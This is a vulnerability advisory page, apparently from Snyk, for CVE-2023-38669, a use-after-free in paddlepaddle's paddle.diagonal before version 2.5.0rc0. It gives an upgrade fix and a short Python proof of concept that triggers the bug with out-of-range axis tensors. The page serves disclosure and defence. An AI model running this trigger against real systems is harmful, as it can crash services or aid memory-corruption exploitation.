Use After Free Affecting paddlepaddle package, versions [,2.5.0rc0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.19% (58th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-PADDLEPADDLE-5807397
- published 26 Jul 2023
- disclosed 26 Jul 2023
- credit Tong Liu
Introduced: 26 Jul 2023
CVE-2023-38669 Open this link in a new tabHow to fix?
Upgrade paddlepaddle to version 2.5.0rc0 or higher.
Overview
paddlepaddle is a Parallel Distributed Deep Learning
Affected versions of this package are vulnerable to Use After Free in paddle.diagonal.
PoC
import paddle
import numpy as np
from paddle import diagonal
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 1, 1, 1]).astype(np.int64))
offset = paddle.to_tensor(np.random.uniform(-10, 0, []).astype(np.int32))
axis1 = paddle.to_tensor(np.random.uniform(-1000000, 0, []).astype(np.int32))
axis2 = paddle.to_tensor(np.random.uniform(-10000000, 0, []).astype(np.int32))
diagonal(x, offset, axis1, axis2)
References
CVSS Scores
version 3.1